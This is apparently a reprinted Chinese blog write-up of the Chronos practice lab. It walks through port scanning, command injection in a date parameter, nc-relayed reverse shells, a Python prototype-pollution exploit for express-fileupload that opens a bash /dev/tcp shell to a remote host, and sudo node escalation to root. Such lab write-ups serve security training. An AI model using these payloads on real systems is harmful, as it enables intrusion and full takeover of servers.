首页 > 其他分享 >Chronos靶机

Chronos靶机

时间:2024-12-23 17:30:51浏览次数:6  
标签:node ip nc 端口 js Chronos 靶机

打靶训练针对的知识点:

端口扫描     WEB侦查     命令注入
 
数据编解码    搜索大法    框架漏洞利用
 
代码审计     NC串联       本地提权

打靶目标: 取得 2 个 flag + root 权限

一:信息收集

1,主机发现

kali攻击机的ip地址是192.168.56.102,但是我们现在并不知道目标靶机的ip地址,所以我们第一目标就是找到目标靶机的ip地址,也就是主机发现

NumLock

2.端口扫描

这里我们成功知道了目标的ip地址为192.168.56.103,所以我们先用namp扫描工具对目标开启的端口和服务进行探测,扫描命令如下

nmap -A 192.168.56.103

可以看到目标开启了22端口,对应着ssh服务,还开启了80端口和8000端口,对应着http服务80端口的http服务是通过乌班图系统搭建,而8000端口的服务则是通过node.js搭建,因为ssh需要账密,所以我们先去访问目标的网页看能不能从web端入手

3.web侦察

目标的80端口8000端口都是http服务,所以我们依次访问一下试试,先浏览器访问目标的80端口,页面如下

看看页面源码开发者工具,如果没什么结果的话就去进行目录爬取,页面源码如下

在源码中发现使用了一段js脚本,将脚本复制到本地进行分析

4.数据编解码

将上面的js代码复制下来查看后,发现这段代码中有大量的形如“0x16b66”的数据,说明经过了大量的编码,所以我们第一件事应该是将这段数据解码来整理,美化这段代码

使用在线解码工具CyberChef

https://cyberchef.org/ 

页面如下,左侧是代码处理的模块,有几百种,将要用到的代码处理的模块放到Recipe框中,将要处理的代码放到input中,结果就会显示在output中

仔细观察美化后的代码,发现了这样一句

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL 

chronos就是这台靶机的名字,local就是本地的意思,而后面开启了8000端口,而最开始我们对靶机进行端口扫描时靶机就开启了8000端口,所以我们猜测chronos.local指向的ip地址就是目标靶机的ip

访问不到,那说明什么呢?说明这个域名只在目标靶机上能被正常解析为ip,即搭建在了目标靶机上,那我们就可以通过修改主机的host文件来访问该域名

Hosts文件是一种在计算机网络中存储主机名与IP地址对应关系的文本文件。通过配置Hosts文件,可以避免在网络环境中DNS无法正常解析时,出现无法访问互联网的问题。

位置

/etc/hosts 

此时再访问chronos.local,结果如下

chronos.local这个域名对应着目标的ip地址

三、渗透流程

1、命令执行漏洞

我们只是做了一个域名与ip的绑定操作,为什么会新出现一段字并显示出当前时间,这说明这个网页通过域名获取了资源,那我们直接抓包看看是什么情况

可以看到发送了三个数据包,其中一个请求的网页正是我们最开始在脚本中找到的网址,而且响应包中返回了当前时间,那么我们把这个数据包发到reperter模块继续观察

当我们尝试把format的参数改掉后,就不能正确返回当前日期了

我们将参数进行一下解码看看,我们选择magic模块,该模块会自动识别编码类型并进行解码

可以看到是base58编码

看到这段代码我就想起了kali的date命令

所以我们大胆的猜测一下参数format的值就是加在date命令后的,而date又是系统命令,就很有可能存在命令执行

base58编码进行测试

可以看到命令成功执行

既然存在命令执行漏洞,那我们看看能不能反弹shell,反弹shell最常用的就是nc所以我们可以先看看该目标主机的bin目录下有没有nc

5H77UDUtonCv1VbB617Za6BYECmuPVgQ9G7gWGjmswYscbm9hwpLwKo65N4YLcm

存在nc,但是不知道这个nc的版本

2、nc反弹shell

先来测试nc是否能够正常运行,即与我们kali开启的端口进行最基本的连接

'+Today is %A, %B %d, %Y %H:%M:%S.' && nc 192.168.56.102 5555

成功但执行命令没有回显,大概率是没有-e这个参数

使用nc串联

nc 192.168.56.103 5555|/bin/bash |nc 192.168.56.103 6666
将5555端口执行的命令通过/bin/bash 在6666端口显示

www-data权限

可以看到存在一个imera用户,并且该用户文件下还存在一个user.txt的文件,但是我们现在没有权限访问,访问的话至少都需要imera用户的权限,所以又来到了提权

3、权限提升途径

[1]、基于内核漏洞提权

查看内核版本,去网上查是否存在相关漏洞

uname -a

[2]、suid权限配置错误

[3]、sudo配置漏洞

sudo -l

上面的全没有,这时候就要进行大量的信息收集

这个目录应该就是网页的源码目录,但是并没有什么php,jsp,python等等的文件,说明这个网站的编写语言就是js,而我们通常对js的认知就是运行在浏览器的前端代码,而不会认为是用来写服务端应用程序的,但其实node.js就可以实现用javascript语言来编写web应用程序的功能

不会直接网上搜索

node.js技术就是用于利用javascript代码在服务器上搭建web应用程序,而且这样搭建出来的web应用程序有很多独有的优势,比如非阻塞机制,异步输入输出之类的模型,使得这些web应用程序在处理某些特定程序时性能大大提高,并且通常都是基于一些已有的框架和库来进行开发,而express.js库是基于web应用开发使用的最多的

查看了package.json,里面含有大量重要配置信息,app.js存在命令执行的地方

在上一级目录发现了chronosweb应用和chronos-v2web应用,还是root权限

可以看到存在一个主页面和前端文件,后端文件,我们先进入后端文件看看

发现四个文件

node_modules package.json package-lock.json server.js

继续查看package.json

再看一下server是一个文件上传

但它这个文件上传,建立在127.0.0.1的8080端口上,也就是本机上,但是这段代码也没有什么明确的漏洞点

找了找express-fileupload这个模块存在的一个原型污染漏洞

这个漏洞,processNested功能必须开启

是开启的

4、node.js原型污染漏洞

import requests
 
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
 
# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
 
# execute command
requests.get('http://p6.is:7777')
p6.is/8888 替换为 kali攻击机的ip/监听端口
 
p6.is:7777 替换为 目标ip:目标web应用程序运行端口

开启apache以供我们在目标机器上下载文件

通过wget下载

接下来就在kali上开启8888端口

使用python3执行文件

成功拿下imera权限

成功拿下第一个flag

还是没有root权限,继续提权

这个用户的权限则存在sudo错误配置漏洞

说明我们可以在不需要密码的情况下就可以通过sudo执行npm命令和node命令,

node就是一种类似于java的语言开发环境,我们都知道利用python可以反弹shell,其实java也可以,所以node也可以

sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'

拿下root权限,再去拿flag

彩蛋

byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
 
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK

base64解码翻译

标签:node,ip,nc,端口,js,Chronos,靶机
From: https://blog.csdn.net/2401_87493916/article/details/144672531

相关文章

  • 渗透之SolidState靶机
    目录1、信息收集1.1namp扫描1.扫描端口2.端口详细信息3.脚本扫描1.2nikto1.3gobuster2、信息整合2.1、端口服务2.2、页面3、渗透3.1获取shell1.JAMES漏洞2.尝试默认密码3.修改邮箱用户密码4.查看用户邮件5.进入ssh6.逃逸rbash获取到正常......
  • 文件包含tomato靶机通关
    连接到靶机将网址放到dirb中扫描一下得到了三个目录我们挨个访问一下第一个是主目录第二个是主页面第三个报错我们在主目录页面继续访问发现了info.php打开发现存在文件包含我们查看页面源代码现存在文件包含的参数是image我们通过读取/etc/passwd来......
  • 文件包含漏洞(hackme和tomato靶机实战)
    hackme靶机1.扫描靶机IP靶机搭好后扫描我们靶机的IPnmap-O192.168.187.128/24扫描到靶机的IP后去访问他2.信息收集挨个访问后有文件上传的路径;uploads网站登录界面;login.php3.寻找薄弱点网页首页是个登录界面,注册个账号登录看看登录后的界面判断是......
  • Tomato 靶机(通关攻略)
    点击开启靶机去kali终端输入arp-scan-l//扫描靶机IP扫出靶机IP192.168.131.171第一步:信息收集端口扫描nmap-p-192.168.131.171敏感目录扫描dirbhttp://192.168.131.171总结:IP:192.168.168.131开放端口:21、80、2211、8888敏感目录:http://192.168.168.1......
  • 文件包含tomato靶机通关和文件上传hackme靶机通关
    文件包含tomato靶机通关靶机地址:192.168.152.152注:靶机打开后在kali中扫描一下就能得到打开网站第一步信息收集将网址放到dirb中扫描一下得到了三个目录我们挨个访问一下第一个是主目录第二个是主页面第三个报错第二步我们在主目录页面继续访问......
  • #oscp#渗透测试 kioptix level 3靶机getshell及提权教程
    声明!文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!一、靶机搭建点击扫描虚拟机选择靶机使在文件夹即可二、信息收集前言信息收集阶段,因为这里是靶机,所以不需要做什么,但是实际渗透测试中,大家一定要学会正确的隐藏......
  • CFS靶机三层(2)
    在上篇里面靶机已经搭建好了,如果出现什么问题,请详细查看我的配置主要是照着【VulnHub靶场】——CFS三层靶机内网渗透实操_cfs靶场下载-CSDN博客CFS三层靶机渗透_Kali版_cfs三层靶机下载-CSDN博客大佬们的文章去复现的*C**entos**信息收集**G**et**shell*访问80是thinkph......
  • DC3靶机渗透测试
    *概述**测试目的**测试范围*序号系统IP1本地192.168.152.1282靶机192.168.152.133*详细测试流程**1、发现测试目标**2、信息收集*开放了80端口,是Joomla服务扫描目录利用joomscan工具探测服务版本Joomscan工具利用方法:https://cn.linux-console.......
  • CFS靶机三层(1)
    *搭建环境**下载解压*【网盘链接】https://pan.baidu.com/s/1slqp3878JawT_QDrzyC7Ig?pwd=9da6靶场就在刚才的网盘链接中,下载之后有很多个7z文件,按照下面的步骤合并解压下载完是很多个7z格式的压缩文件,直接合并解压就行,就是用copy/bCFS三层靶机环境.7z*靶机.7z命令把下载......
  • #渗透测试#红队攻防 kioptix level 2靶机getshell及提权
    声明!文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!目录标题一、准备阶段1.找出ip端口和服务信息扫出ip扫出端口端口对应服务信息2.目录扫描3.漏洞扫描nmap扫描漏洞searchsploit查找漏洞二、获取权限1.访......